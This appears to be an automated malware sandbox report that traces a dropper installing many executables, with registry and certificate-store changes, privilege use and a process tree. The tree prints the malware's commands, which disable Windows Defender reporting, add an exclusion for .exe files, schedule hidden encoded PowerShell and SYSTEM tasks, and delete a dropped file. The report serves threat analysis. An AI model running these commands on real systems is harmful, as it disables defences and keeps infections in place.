Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2E4AE10F-F4EA-41EB-A355-87E5D6D04E9E}	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	ENIVAqt.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	ENIVAqt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	ENIVAqt.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	ENIVAqt.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0097000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	ENIVAqt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2E4AE10F-F4EA-41EB-A355-87E5D6D04E9E}\WpadDecisionReason = "1"	ENIVAqt.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-82-17-f2-3d-72\WpadDecisionTime = 7052d4c04218d801	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	ENIVAqt.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

askinstall49.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	askinstall49.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	askinstall49.exe

Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 23 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

description	flow	ioc
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 57 IoCs

Processes:

File.exe1a07507c-49e7-4d34-bc38-84924174006f.exeKAiKH94pWMfyZjJpl_FLZwx4.exeQ8racSWcujTaGues0ZbvCwRm.exeOYUgXMXra5yCj4N2TqBkKxhN.exexPS2HvMLghnPGpsTSEAx2ips.exesCzScBv7iQoB5eRAw7O1vVZl.exe1.exepowershell.exepowershell.exeEvYP_9egPpHpvJDmKAjNZdXl.exeWerFault.exeENIVAqt.exesXC0lvXGCYLTMZDlPGNz1c6r.exepowershell.EXEokMtDOamHIEKYodb80qoVDPc.exepowershell.EXE

pid	process
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
2532	1a07507c-49e7-4d34-bc38-84924174006f.exe
2532	1a07507c-49e7-4d34-bc38-84924174006f.exe
1212	KAiKH94pWMfyZjJpl_FLZwx4.exe
432	Q8racSWcujTaGues0ZbvCwRm.exe
2112	OYUgXMXra5yCj4N2TqBkKxhN.exe
1776	xPS2HvMLghnPGpsTSEAx2ips.exe
2144	sCzScBv7iQoB5eRAw7O1vVZl.exe
2680	1.exe
2432	powershell.exe
2804	powershell.exe
2148	EvYP_9egPpHpvJDmKAjNZdXl.exe
2148	EvYP_9egPpHpvJDmKAjNZdXl.exe
2148	EvYP_9egPpHpvJDmKAjNZdXl.exe
2148	EvYP_9egPpHpvJDmKAjNZdXl.exe
2764	WerFault.exe
2764	WerFault.exe
2764	WerFault.exe
2764	WerFault.exe
2764	WerFault.exe
2764	WerFault.exe
2764	WerFault.exe
2112	OYUgXMXra5yCj4N2TqBkKxhN.exe
2680	1.exe
2144	sCzScBv7iQoB5eRAw7O1vVZl.exe
432	Q8racSWcujTaGues0ZbvCwRm.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
1536	ENIVAqt.exe
2124	sXC0lvXGCYLTMZDlPGNz1c6r.exe
1692	powershell.EXE
292	okMtDOamHIEKYodb80qoVDPc.exe
292	okMtDOamHIEKYodb80qoVDPc.exe
292	okMtDOamHIEKYodb80qoVDPc.exe
292	okMtDOamHIEKYodb80qoVDPc.exe
2828	powershell.EXE
1692	powershell.EXE
1692	powershell.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

WerFault.exe

pid process

2764 WerFault.exe

pid	process
2764	WerFault.exe

Suspicious use of AdjustPrivilegeToken 54 IoCs

Processes:

askinstall49.exetaskkill.exeProxyupd.exeRobCleanerInstl3183813.exe1a07507c-49e7-4d34-bc38-84924174006f.exetaskkill.exepowershell.exepowershell.exetaskkill.exe6x6Nz8sdCEpXiq79XZejlUe8.exego-memexec-546162267.exeVTEpec3Sw20dZDa89l22_ObW.exeWerFault.exexPS2HvMLghnPGpsTSEAx2ips.exeOYUgXMXra5yCj4N2TqBkKxhN.exe1.exesCzScBv7iQoB5eRAw7O1vVZl.exeQ8racSWcujTaGues0ZbvCwRm.exesXC0lvXGCYLTMZDlPGNz1c6r.exepowershell.EXEpowershell.EXE

description	pid	process
Token: SeCreateTokenPrivilege	1692	askinstall49.exe
Token: SeAssignPrimaryTokenPrivilege	1692	askinstall49.exe
Token: SeLockMemoryPrivilege	1692	askinstall49.exe
Token: SeIncreaseQuotaPrivilege	1692	askinstall49.exe
Token: SeMachineAccountPrivilege	1692	askinstall49.exe
Token: SeTcbPrivilege	1692	askinstall49.exe
Token: SeSecurityPrivilege	1692	askinstall49.exe
Token: SeTakeOwnershipPrivilege	1692	askinstall49.exe
Token: SeLoadDriverPrivilege	1692	askinstall49.exe
Token: SeSystemProfilePrivilege	1692	askinstall49.exe
Token: SeSystemtimePrivilege	1692	askinstall49.exe
Token: SeProfSingleProcessPrivilege	1692	askinstall49.exe
Token: SeIncBasePriorityPrivilege	1692	askinstall49.exe
Token: SeCreatePagefilePrivilege	1692	askinstall49.exe
Token: SeCreatePermanentPrivilege	1692	askinstall49.exe
Token: SeBackupPrivilege	1692	askinstall49.exe
Token: SeRestorePrivilege	1692	askinstall49.exe
Token: SeShutdownPrivilege	1692	askinstall49.exe
Token: SeDebugPrivilege	1692	askinstall49.exe
Token: SeAuditPrivilege	1692	askinstall49.exe
Token: SeSystemEnvironmentPrivilege	1692	askinstall49.exe
Token: SeChangeNotifyPrivilege	1692	askinstall49.exe
Token: SeRemoteShutdownPrivilege	1692	askinstall49.exe
Token: SeUndockPrivilege	1692	askinstall49.exe
Token: SeSyncAgentPrivilege	1692	askinstall49.exe
Token: SeEnableDelegationPrivilege	1692	askinstall49.exe
Token: SeManageVolumePrivilege	1692	askinstall49.exe
Token: SeImpersonatePrivilege	1692	askinstall49.exe
Token: SeCreateGlobalPrivilege	1692	askinstall49.exe
Token: 31	1692	askinstall49.exe
Token: 32	1692	askinstall49.exe
Token: 33	1692	askinstall49.exe
Token: 34	1692	askinstall49.exe
Token: 35	1692	askinstall49.exe
Token: SeDebugPrivilege	2140	taskkill.exe
Token: SeDebugPrivilege	792	Proxyupd.exe
Token: SeDebugPrivilege	1684	RobCleanerInstl3183813.exe
Token: SeDebugPrivilege	2532	1a07507c-49e7-4d34-bc38-84924174006f.exe
Token: SeDebugPrivilege	2772	taskkill.exe
Token: SeDebugPrivilege	2432	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2172	taskkill.exe
Token: SeDebugPrivilege	1580	6x6Nz8sdCEpXiq79XZejlUe8.exe
Token: SeDebugPrivilege	2020	go-memexec-546162267.exe
Token: SeDebugPrivilege	556	VTEpec3Sw20dZDa89l22_ObW.exe
Token: SeDebugPrivilege	2764	WerFault.exe
Token: SeDebugPrivilege	1776	xPS2HvMLghnPGpsTSEAx2ips.exe
Token: SeDebugPrivilege	2112	OYUgXMXra5yCj4N2TqBkKxhN.exe
Token: SeDebugPrivilege	2680	1.exe
Token: SeDebugPrivilege	2144	sCzScBv7iQoB5eRAw7O1vVZl.exe
Token: SeDebugPrivilege	432	Q8racSWcujTaGues0ZbvCwRm.exe
Token: SeDebugPrivilege	2124	sXC0lvXGCYLTMZDlPGNz1c6r.exe
Token: SeDebugPrivilege	1692	powershell.EXE
Token: SeDebugPrivilege	2828	powershell.EXE

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

iexplore.exe

pid process

796 iexplore.exe
796 iexplore.exe
796 iexplore.exe

Suspicious use of SetWindowsHookEx 18 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXE

pid	process
796	iexplore.exe
796	iexplore.exe
1364	IEXPLORE.EXE
1364	IEXPLORE.EXE
1364	IEXPLORE.EXE
1364	IEXPLORE.EXE
796	iexplore.exe
796	iexplore.exe
1680	IEXPLORE.EXE
1680	IEXPLORE.EXE
796	iexplore.exe
796	iexplore.exe
1128	IEXPLORE.EXE
1128	IEXPLORE.EXE
1128	IEXPLORE.EXE
1128	IEXPLORE.EXE
1128	IEXPLORE.EXE
1128	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

iexplore.exeSetup_x32_x64.exeFolder.exeaskinstall49.execmd.exeRobCleanerInstl3183813.exeFile.exe

description	pid	process	target process
PID 796 wrote to memory of 1364	796	iexplore.exe	IEXPLORE.EXE
PID 796 wrote to memory of 1364	796	iexplore.exe	IEXPLORE.EXE
PID 796 wrote to memory of 1364	796	iexplore.exe	IEXPLORE.EXE
PID 796 wrote to memory of 1364	796	iexplore.exe	IEXPLORE.EXE
PID 1732 wrote to memory of 792	1732	Setup_x32_x64.exe	Proxyupd.exe
PID 1732 wrote to memory of 792	1732	Setup_x32_x64.exe	Proxyupd.exe
PID 1732 wrote to memory of 792	1732	Setup_x32_x64.exe	Proxyupd.exe
PID 1732 wrote to memory of 792	1732	Setup_x32_x64.exe	Proxyupd.exe
PID 796 wrote to memory of 1680	796	iexplore.exe	IEXPLORE.EXE
PID 796 wrote to memory of 1680	796	iexplore.exe	IEXPLORE.EXE
PID 796 wrote to memory of 1680	796	iexplore.exe	IEXPLORE.EXE
PID 796 wrote to memory of 1680	796	iexplore.exe	IEXPLORE.EXE
PID 1732 wrote to memory of 2028	1732	Setup_x32_x64.exe	Folder.exe
PID 1732 wrote to memory of 2028	1732	Setup_x32_x64.exe	Folder.exe
PID 1732 wrote to memory of 2028	1732	Setup_x32_x64.exe	Folder.exe
PID 1732 wrote to memory of 2028	1732	Setup_x32_x64.exe	Folder.exe
PID 1732 wrote to memory of 1684	1732	Setup_x32_x64.exe	RobCleanerInstl3183813.exe
PID 1732 wrote to memory of 1684	1732	Setup_x32_x64.exe	RobCleanerInstl3183813.exe
PID 1732 wrote to memory of 1684	1732	Setup_x32_x64.exe	RobCleanerInstl3183813.exe
PID 1732 wrote to memory of 1684	1732	Setup_x32_x64.exe	RobCleanerInstl3183813.exe
PID 1732 wrote to memory of 1576	1732	Setup_x32_x64.exe	soft.exe
PID 1732 wrote to memory of 1576	1732	Setup_x32_x64.exe	soft.exe
PID 1732 wrote to memory of 1576	1732	Setup_x32_x64.exe	soft.exe
PID 1732 wrote to memory of 1576	1732	Setup_x32_x64.exe	soft.exe
PID 1732 wrote to memory of 1576	1732	Setup_x32_x64.exe	soft.exe
PID 1732 wrote to memory of 1576	1732	Setup_x32_x64.exe	soft.exe
PID 1732 wrote to memory of 1576	1732	Setup_x32_x64.exe	soft.exe
PID 2028 wrote to memory of 1400	2028	Folder.exe	Folder.exe
PID 2028 wrote to memory of 1400	2028	Folder.exe	Folder.exe
PID 2028 wrote to memory of 1400	2028	Folder.exe	Folder.exe
PID 2028 wrote to memory of 1400	2028	Folder.exe	Folder.exe
PID 796 wrote to memory of 1128	796	iexplore.exe	IEXPLORE.EXE
PID 796 wrote to memory of 1128	796	iexplore.exe	IEXPLORE.EXE
PID 796 wrote to memory of 1128	796	iexplore.exe	IEXPLORE.EXE
PID 796 wrote to memory of 1128	796	iexplore.exe	IEXPLORE.EXE
PID 1732 wrote to memory of 1692	1732	Setup_x32_x64.exe	askinstall49.exe
PID 1732 wrote to memory of 1692	1732	Setup_x32_x64.exe	askinstall49.exe
PID 1732 wrote to memory of 1692	1732	Setup_x32_x64.exe	askinstall49.exe
PID 1732 wrote to memory of 1692	1732	Setup_x32_x64.exe	askinstall49.exe
PID 1732 wrote to memory of 1692	1732	Setup_x32_x64.exe	askinstall49.exe
PID 1732 wrote to memory of 1692	1732	Setup_x32_x64.exe	askinstall49.exe
PID 1732 wrote to memory of 1692	1732	Setup_x32_x64.exe	askinstall49.exe
PID 1732 wrote to memory of 1548	1732	Setup_x32_x64.exe	File.exe
PID 1732 wrote to memory of 1548	1732	Setup_x32_x64.exe	File.exe
PID 1732 wrote to memory of 1548	1732	Setup_x32_x64.exe	File.exe
PID 1732 wrote to memory of 1548	1732	Setup_x32_x64.exe	File.exe
PID 1692 wrote to memory of 2112	1692	askinstall49.exe	cmd.exe
PID 1692 wrote to memory of 2112	1692	askinstall49.exe	cmd.exe
PID 1692 wrote to memory of 2112	1692	askinstall49.exe	cmd.exe
PID 1692 wrote to memory of 2112	1692	askinstall49.exe	cmd.exe
PID 2112 wrote to memory of 2140	2112	cmd.exe	taskkill.exe
PID 2112 wrote to memory of 2140	2112	cmd.exe	taskkill.exe
PID 2112 wrote to memory of 2140	2112	cmd.exe	taskkill.exe
PID 2112 wrote to memory of 2140	2112	cmd.exe	taskkill.exe
PID 1684 wrote to memory of 2532	1684	RobCleanerInstl3183813.exe	1a07507c-49e7-4d34-bc38-84924174006f.exe
PID 1684 wrote to memory of 2532	1684	RobCleanerInstl3183813.exe	1a07507c-49e7-4d34-bc38-84924174006f.exe
PID 1684 wrote to memory of 2532	1684	RobCleanerInstl3183813.exe	1a07507c-49e7-4d34-bc38-84924174006f.exe
PID 1684 wrote to memory of 2532	1684	RobCleanerInstl3183813.exe	1a07507c-49e7-4d34-bc38-84924174006f.exe
PID 1548 wrote to memory of 3064	1548	File.exe	QhRWnrui99K9s4ogaXkfUwAg.exe
PID 1548 wrote to memory of 3064	1548	File.exe	QhRWnrui99K9s4ogaXkfUwAg.exe
PID 1548 wrote to memory of 3064	1548	File.exe	QhRWnrui99K9s4ogaXkfUwAg.exe
PID 1548 wrote to memory of 3064	1548	File.exe	QhRWnrui99K9s4ogaXkfUwAg.exe
PID 1548 wrote to memory of 2148	1548	File.exe	EvYP_9egPpHpvJDmKAjNZdXl.exe
PID 1548 wrote to memory of 2148	1548	File.exe	EvYP_9egPpHpvJDmKAjNZdXl.exe

C:\Users\Admin\AppData\Local\Temp\Setup_x32_x64.exe
"C:\Users\Admin\AppData\Local\Temp\Setup_x32_x64.exe"
1⤵
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
PID:1732
- C:\Users\Admin\AppData\Local\Temp\Proxyupd.exe
  "C:\Users\Admin\AppData\Local\Temp\Proxyupd.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:792
- C:\Users\Admin\AppData\Local\Temp\Folder.exe
  "C:\Users\Admin\AppData\Local\Temp\Folder.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Users\Admin\AppData\Local\Temp\Folder.exe
    "C:\Users\Admin\AppData\Local\Temp\Folder.exe" -u
    3⤵
    - Executes dropped EXE
    PID:1400
- C:\Users\Admin\AppData\Local\Temp\soft.exe
  "C:\Users\Admin\AppData\Local\Temp\soft.exe"
  2⤵
  - Executes dropped EXE
  PID:1576
- C:\Users\Admin\AppData\Local\Temp\RobCleanerInstl3183813.exe
  "C:\Users\Admin\AppData\Local\Temp\RobCleanerInstl3183813.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1684
- - C:\Users\Admin\AppData\Local\Temp\1a07507c-49e7-4d34-bc38-84924174006f.exe
    "C:\Users\Admin\AppData\Local\Temp\1a07507c-49e7-4d34-bc38-84924174006f.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2532
- C:\Users\Admin\AppData\Local\Temp\File.exe
  "C:\Users\Admin\AppData\Local\Temp\File.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\Users\Admin\Pictures\Adobe Films\okMtDOamHIEKYodb80qoVDPc.exe
    "C:\Users\Admin\Pictures\Adobe Films\okMtDOamHIEKYodb80qoVDPc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:292
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /C del C:\Users\Admin\Pictures\Adobe Films\okMtDOamHIEKYodb80qoVDPc.exe
      4⤵
      PID:2584
- - C:\Users\Admin\Pictures\Adobe Films\Bv8BCwVMd8Gcbkxta6jNh_rI.exe
    "C:\Users\Admin\Pictures\Adobe Films\Bv8BCwVMd8Gcbkxta6jNh_rI.exe"
    3⤵
    - Executes dropped EXE
    PID:856
- - C:\Users\Admin\Pictures\Adobe Films\OYUgXMXra5yCj4N2TqBkKxhN.exe
    "C:\Users\Admin\Pictures\Adobe Films\OYUgXMXra5yCj4N2TqBkKxhN.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2112
- - C:\Users\Admin\Pictures\Adobe Films\6x6Nz8sdCEpXiq79XZejlUe8.exe
    "C:\Users\Admin\Pictures\Adobe Films\6x6Nz8sdCEpXiq79XZejlUe8.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1580
- - C:\Users\Admin\Pictures\Adobe Films\Cuv94j2t3pqWe2r1M28mPvlA.exe
    "C:\Users\Admin\Pictures\Adobe Films\Cuv94j2t3pqWe2r1M28mPvlA.exe"
    3⤵
    - Executes dropped EXE
    PID:1400
  - - C:\Users\Admin\AppData\Local\Temp\7zSCA32.tmp\Install.exe
      .\Install.exe
      4⤵
      Executes dropped EXE
      PID:1560
    - - C:\Users\Admin\AppData\Local\Temp\7zSE8D9.tmp\Install.exe
        
        .\Install.exe /S /site_id "525403"
        5⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Drops file in System32 directory
        Enumerates system info in registry
        
        PID:2032
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        6⤵
        
        PID:2368
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        7⤵
        
        PID:2284
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        8⤵
        
        PID:2148
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        8⤵
        
        PID:2768
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        6⤵
        
        PID:668
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        7⤵
        
        PID:2896
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        8⤵
        
        PID:1904
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        8⤵
        
        PID:2492
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gVWvbxFIz" /SC once /ST 01:18:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        6⤵
        Creates scheduled task(s)
        
        PID:2452
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gVWvbxFIz"
        6⤵
        
        PID:1536
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gVWvbxFIz"
        6⤵
        
        PID:3000
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bnkqNuphAZeBTHhYMc" /SC once /ST 14:38:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\WOJEBgcpJeoAyOioJ\wwLMGvKHJFdcKei\TOVpcST.exe\" j1 /site_id 525403 /S" /V1 /F
        6⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:2488
- - C:\Users\Admin\Pictures\Adobe Films\sCzScBv7iQoB5eRAw7O1vVZl.exe
    "C:\Users\Admin\Pictures\Adobe Films\sCzScBv7iQoB5eRAw7O1vVZl.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2144
- - C:\Users\Admin\Pictures\Adobe Films\OQBpmfkdJPiGv5pRT27rVaJe.exe
    "C:\Users\Admin\Pictures\Adobe Films\OQBpmfkdJPiGv5pRT27rVaJe.exe"
    3⤵
    - Executes dropped EXE
    PID:2156
  - - C:\Windows\SysWOW64\control.exe
      "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\PDSIHzLf.cPl",
      4⤵
